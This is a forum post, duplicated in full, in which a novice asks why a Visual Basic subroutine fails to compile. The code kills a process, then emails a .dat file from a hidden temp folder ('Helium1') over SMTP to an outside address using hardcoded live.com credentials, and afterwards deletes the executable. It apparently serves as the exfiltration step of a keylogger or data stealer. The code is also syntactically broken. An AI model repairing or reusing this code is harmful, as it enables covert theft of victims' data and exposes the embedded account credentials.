hey everyone
when i try to compile this code i get a "Statement is not valid in namespace".
apparently its the only error in the script
what does that mean? how can i fix it?
What the script does is closes a program and attaches a file
to an email then sends it out. im trying to get this done for a
project.
im using visual basic express 2010 to compile it. which im new with.
if someone can help me out i'd really appreciate it
[XCODE]
Private Sub SendEmailAttach(ByVal email As String, ByVal password As String, ByVal smtp As String, ByVal port As Integer, Optional ByVal delete As Boolean = True)
On Error Resume Next
Dim bProcess = process.getprocessesbyname("HE1233")
For i As Integer = 0 To bprocess.count - 1
bprocess(i).kill()
Next i
system.threading.thread.sleep(6000)
If system.IO.file.exists(environ("temp") & "\Helium1\HE1233.exe") Then
Dim smtpserver As New system.net.mail.smtpclient()
Dim mail As New system.net.mail.mailmessage()
smtpserver.credentials = new net.networkcredential (jameshelium@live.com,9999jkjk43)
smtpserver.port = 587
smtpserver.enablessl = True
smtpserver.host = smtp.live.com
mail = New system.net.mail.mailmessage()
mail.attachments.add (new system.net.mail.attachment (environ ("temp") & "\Helium1\HE1233.dat)
mail.from = new system.net.mail.mailaddress (Jameshelium@live.com)
mail.to.add (DZmarcus@live.com)
smtpserver.send(mail)
If delete = True Then
kill(environ("temp") & "\Helium1\HE1233.exe")
End If
End If
End Sub
[/XCODE]
when i try to compile this code i get a "Statement is not valid in namespace".
apparently its the only error in the script
what does that mean? how can i fix it?
What the script does is closes a program and attaches a file
to an email then sends it out. im trying to get this done for a
project.
im using visual basic express 2010 to compile it. which im new with.
if someone can help me out i'd really appreciate it
[XCODE]
Private Sub SendEmailAttach(ByVal email As String, ByVal password As String, ByVal smtp As String, ByVal port As Integer, Optional ByVal delete As Boolean = True)
On Error Resume Next
Dim bProcess = process.getprocessesbyname("HE1233")
For i As Integer = 0 To bprocess.count - 1
bprocess(i).kill()
Next i
system.threading.thread.sleep(6000)
If system.IO.file.exists(environ("temp") & "\Helium1\HE1233.exe") Then
Dim smtpserver As New system.net.mail.smtpclient()
Dim mail As New system.net.mail.mailmessage()
smtpserver.credentials = new net.networkcredential (jameshelium@live.com,9999jkjk43)
smtpserver.port = 587
smtpserver.enablessl = True
smtpserver.host = smtp.live.com
mail = New system.net.mail.mailmessage()
mail.attachments.add (new system.net.mail.attachment (environ ("temp") & "\Helium1\HE1233.dat)
mail.from = new system.net.mail.mailaddress (Jameshelium@live.com)
mail.to.add (DZmarcus@live.com)
smtpserver.send(mail)
If delete = True Then
kill(environ("temp") & "\Helium1\HE1233.exe")
End If
End If
End Sub
[/XCODE]